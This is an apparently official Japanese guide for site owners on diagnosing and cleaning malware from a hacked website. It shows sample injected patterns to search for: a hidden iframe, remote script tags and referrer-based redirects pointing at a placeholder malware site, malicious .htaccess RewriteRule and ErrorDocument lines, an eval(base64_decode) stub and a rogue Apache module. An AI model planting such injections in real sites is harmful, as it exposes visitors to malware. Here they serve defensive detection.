マルウェアを含むハッキング

マルウェアとは、パソコン、モバイル デバイス、それらで実行されているソフトウェア、パソコンやモバイル デバイスのユーザーに対して有害な影響を与えることを目的として設計されたソフトウェアまたはモバイルアプリです。マルウェアの詳細については、マルウェアと望ましくないソフトウェアをご覧ください。

サイトにマルウェアが含まれている場合、通常は、検索結果に「このサイトはパソコンに損害を与える可能性があります」という警告が表示されます。また、ユーザーがサイトにアクセスしようとすると、ブラウザによってインタースティシャル ページに次のような警告が表示されます。

代表的なマルウェアのインタースティシャル ページ
マルウェアに関する警告が表示された検索結果。

必要なもの:

  • サイトのサーバー(ウェブ、データベース、ファイル)へのシェルまたはターミナル管理者アクセス。
  • シェルまたはターミナルのコマンドの知識。
  • データベースに対して SQL クエリを実行する権限。

準備

  • Search Console に登録し、説明に沿ってハッキングされたサイトの所有権を確認します。Search Console には、影響を受けるページのサンプルが表示されます。これにより、マルウェアにハッキングされた問題を簡単に見つけ、修正できます。また、サイトがさまざまな種類のマルウェアやその他のハッキングの影響を受けていることが検出されると、警告が表示されます。
  • Google セーフ ブラウジングの診断ページで、サイトがユーザーに有害な可能性があるかどうかに関する公開情報を確認します。ページまたはサイトのリスティング ステータスは、次のような URL で確認できます。 https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>*** 例: https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com

    <<page_or_site>> には、特定のページの URL(http://example.com/badpage)またはサイト全体(example.com)を指定できます。

  • ブラウザを使用してサイトのページを表示しないでください。マルウェアはブラウザの脆弱性を利用して広がる場合が多いため、マルウェアに感染したページをブラウザで開くと、お使いのパソコンに被害が及ぶおそれがあります。ブラウザでページに直接アクセスするように診断手順に記載されている場合を除き、cURL または Wget を使用して HTTP リクエスト(ページの取得など)を実行します。

    無料で入手できるこうしたツールは、リダイレクトの診断に便利なうえ、リファラーやユーザー エージェントの情報を柔軟に含めることができます。特定のリファラまたはユーザー エージェントを含めると、ハッカーのふりをするのに役立ちます。ハッカーは、より「実際のユーザー」をターゲットにし、サイト所有者やマルウェア スキャナによる検出を回避するために、特定のユーザー エージェントまたはリファラを持つユーザーにのみ悪意のあるコンテンツを配信する場合があります。

`curl -v --referer "http://www.google.com" <your-url>`

ユーザー エージェントと参照元の両方を指定する例を次に示します。

`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`

一部のマルウェアは、ユーザーが Google 検索結果からアクセスしたときにのみアクティブになるため、--referer "https://www.google.com" ありと --referer "https://www.google.com" なしの両方のページを取得することをおすすめします。

  • このステップで判明したことを記録するドキュメントを作成します。このドキュメントには、最終的に(少なくとも)各損傷ファイルの名前と場所、感染経路に関するメモが含まれます。これは、サイトのクリーンアップとメンテナンスの基礎となります。

  • このページの上の動画で、マルウェアの仕組みと、マルウェアの調査中に安全を確保する方法をご覧ください。

診断

サイトに影響を与えているマルウェアを特定します。

  1. Search Console でサイトの [セキュリティの問題] レポートを開きます。マルウェア警告の説明を展開すると、影響を受けるページの例のリストが表示されます。このリストは網羅的なものではなく、サイト上のすべての種類のマルウェアのサンプルページが表示されない場合があります。
  2. サンプルページで次の種類のマルウェアがないかテストします。

サーバー構成マルウェア(望ましくないリダイレクト)

サーバーの設定ファイルの変更などによって、ハッカーがサイトを侵害し、サイトの訪問者を通常のサイトからマルウェアの不正サイトにリダイレクトしています。通常、サーバー設定ファイルでは、サイト管理者がウェブサイトの特定のページやディレクトリへの URL リダイレクトを指定できるようになっています。たとえば、Apache サーバーでは .htaccess ファイルと httpd.conf が該当します。

診断

[セキュリティの問題] レポートに表示されている URL の例にアクセスします。「サーバー設定」タイプに感染しているページからの応答には、次のようなヘッダーが含まれる可能性があります。

&lt; HTTP/1.1 301 Moved Permanently
&lt; Date: Sun, 24 Feb 2013 21:06:45 GMT
&lt; Server: Apache
&lt; Location: http://&lt;<strong>_malware-attack-site_</strong>&gt;/index.html
&lt; Content-Length: 253

影響を受けるファイルを特定する

シェルまたはターミナルからアクセスしてサーバーにログインし(サイトはオフラインのままでもかまいません)、関連するサーバー設定ファイルを確認します。サイトにはハッキングされた複数のサーバー設定ファイルがある可能性があります。このようなファイルに、不明なサイトへのリダイレクトなど、不要なディレクティブがないかどうかを確認します。たとえば、.htaccess ファイルには次のようなリダイレクトがある場合があります。

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://&lt;<em><strong>_malware-site_</strong></em>&gt;/index.html** [R=301]

SQL インジェクション

ハッカーがサイトのデータベースを侵害した可能性があります。たとえば、ハッカーがデータベース テーブルの各レコードに悪意のあるコードをプログラムによって組み込むことがあります。その結果、データベースからの情報が必要なページをサーバーが読み込むと、そのページのコンテンツに埋め込まれた悪意のあるコードによって、サイトの訪問者に被害が及ぶおそれがあります。

診断

  1. 影響を受けている URL に対してコマンドラインでクエリを実行し、応答に「iframe」や「eval」などの SQL 攻撃の単語が含まれていないか確認します。
  2. データベース サーバーにログインするか、phpMyAdmin などのツールを使ってデータベースを表示します。Wget または cURL を使った場合は、これらのツールで確認したページのソースコード上の改変部分と実際のデータベース エントリを対応させてみます。たとえば、ページに危険な iframe が含まれていることに気付いた場合は、iframe コードを検索する SQL クエリを実行できます。次に例を示します。

    SELECT * FROM blog_posts WHERE post_text LIKE '%&gt;iframe%';
    
  3. サーバー上でデータベースのログファイルやエラーファイルを調べて、予期しない SQL コマンドなど、通常のユーザーやエラーでは異常と思われるアクティビティがないかどうかを確認することもおすすめします。

問題を修正する

感染したデータベースの各レコードを更新するか、最後にバックアップしたデータベースに戻します。

コード インジェクション

サイト上のページが変更され、マルウェアの不正サイトへの iframe など、悪意のあるコードが含まれています。

診断

cURL または wGet を使用して、[セキュリティの問題] レポートに表示されている URL の例にアクセスし、疑わしいコードがないか確認します。挿入されたコードはさまざまなタイプがあり、見つけにくい場合があります。iframe コードを見つけるには、「iframe」などの単語を検索すると便利です。他にも「script」、「eval」、「unescape」がキーワードとして役立ちます。たとえば、Unix ベースのシステムですべてのファイルを対象に「iframe」を検索するコマンドは次のとおりです。

$grep -irn "iframe" ./ | less</pre>

以下に、注意すべき一般的なマルウェアのパターンを示します。

悪意のあるサイトを読み込む iframe:

&lt;iframe frameborder="0" height="0" src="http://&lt;<strong><em>_malware-site_</em></strong>&gt;/path/file"
  style="display:none" width="0"&gt;&lt;/iframe&gt;

不正サイトのスクリプトを呼び出して実行する JavaScript または他のスクリプト言語:

&lt;script type='text/javascript' src='http://&lt;<em><strong>_malware-site_</strong></em>&gt;/js/x55.js'&gt;&lt;/script&gt;

不正サイトにブラウザをリダイレクトするスクリプト:

&lt;script&gt;
  if (document.referrer.match(/google\.com/)) {
    window.location("http://&lt;<em><strong>_malware-site_</strong></em>&gt;/");
  }
&lt;/script&gt;

検出を避けるためにわかりにくくした悪意のあるコード:

eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));

元は無害なスクリプトに有害なコードをランダムに書き込むように設計された共有オブジェクト ファイル:

#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c

悪意のあるエラー テンプレート

エラー メッセージ(「404 ファイルが見つかりません」など)に使用されるテンプレートがマルウェアを配布するように設定されています。この方法で、悪意のあるユーザーは、サイトに含まれない URL にも攻撃をしかけることがあります。

診断

サイト上に存在しないページや別のタイプのエラーが発生するページをリクエストし、応答が別のサイトから送信されているかどうか、応答にマルウェアが含まれていないかを確認します。

問題を修正する

ウェブサーバーにログインし、サーバー設定ファイルでエラーページのディレクティブを検索します。たとえば、Apache ウェブサーバーのエラー テンプレートは .htaccess ファイルで宣言できます。悪意のあるサイトから 404 エラーページを取得する .htaccess ファイル エントリの例は次のとおりです。

ErrorDocument 404 http://&lt;<span class="red-text"><em><strong>_malware-site_</strong></em></span>&gt;/index.html

サイトをクリーンアップする準備ができたら、.htaccess ファイルを正常なバックアップで置き換えるか、既存の .htaccess ファイルから不要な ErrorDocument ディレクティブを削除します。サイト上にエラーファイルがある場合は、実際に使用するエラーファイルをクリーンアップすることにも注意します。最後にウェブサーバーを再起動して、すべての変更を反映させます。

不正使用されているサイトまたは悪意のあるサイトから読み込まれるリソース {compromised-resources}

サイトが、悪意のあるコンテンツを含むことが確認されているウェブサイトのコンテンツまたはリソースを使用しています。たとえば、JavaScript ファイル、画像、その他のファイルです。このため、その別のサイトから読み込まれたマルウェアが検出されたとして、お客様のサイトが報告されます。

診断

[セキュリティの問題] レポートに表示されている URL の例にアクセスします。

問題を修正する

  1. Search Console の [セキュリティの問題] レポートに表示されている URL の例にアクセスして問題を確認します。ブラウザの警告が表示されます。
  2. ブラウザの警告には、疑わしいコンテンツのドメインが記載されています。ブラウザの警告に表示されているマークされたサイトへの参照をすべて削除します。マークされたサイトのコンテンツが知らないうちに含まれていた場合、問題はより深刻です。サイトが不正使用されている可能性が高いため、他のハッキングや脆弱性がないかサイトを継続的に調査する必要があります。
  3. 警告を受けた正当なサイトのコンテンツを意図的に含め、警告を受けたサイトのクリーンアップ後にそのコンテンツを再度含める場合は、そのサイトの Google セーフ ブラウジング診断ページhttp://www.google.com/safebrowsing/diagnostic?site=www.example.com){:.external} を使用して、警告を受けたサイトのステータスをモニタリングできます。通常、正当なサイトの所有者は、問題を迅速に解決します。

追加の調査

次に、システムに追加の悪意のあるファイルや変更がないか確認します。ハッカーは、既存のページやデータベース レコードを変更したり、スパム行為のあるまったく新しいページを作成したり、クリーンなページにスパムを表示する関数を作成したり、ハッカーがサイトに再侵入できるようにする「バックドア」を残したり、削除した悪質なコードを再挿入したりしている可能性があります。

サイトがオンラインの場合は、調査のためにオフラインにすることをご検討ください。

サイトの正常なバックアップがある場合は、バックアップ以降に作成または変更されたファイルを特定して調査します。Unix ベースのシステムでは、次のようなコマンドを使用して新しいファイルを検索できます。

diff -qr <current-directory> <backup-directory>

次に例を示します。

diff -qr www/ backups/full-backup-20120124/

また、

md5sum <current-page> <backup-page>

次に例を示します。

md5sum www/page.html backups/full-backup-20120124/page.html

サーバー、アクセス、エラーログで不審なアクティビティがないかどうかを確認します。たとえば、ログイン試行の失敗、コマンド履歴(特に root として)、不明なユーザー アカウントの作成などです。ハッカーが自分の目的のためにこれらのログを変更している可能性があることに注意してください。脆弱性を特定するの動画で、いくつかの例を紹介しています。

構成ファイルでリダイレクトを確認する。構成ファイルの名前は通常、.htaccesshttpd.conf です。ハッカーは、ユーザー エージェント、時刻、リファラーに基づいて条件付きリダイレクトを作成することがよくあります。構成ファイルを更新する必要がある場合は、変更を有効にするためにサーバーを再起動する必要があります。

フォルダとファイルの権限が過度に緩和されていないか確認します。ハッカーは権限を改ざんします。サイト所有者によって緩和された権限が検出されない場合、ハッカーはサイトに再び侵入する方法を見つけられるためです。644 (rw-r--r--) を超えるファイルと 755 (rwxr-xr-x) を超えるフォルダは、セキュリティの問題を引き起こす可能性があります。緩く設定した権限が本当に必要かどうかを確認します。Unix ベースのシステムでは、次のコマンドを試します。

find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;

および:

find <your-dir> -type f -not -perm 644 -exec ls -la {} \;

データベースがある場合は、phpMyAdmin などのツールを使用してレコードごとに調査します。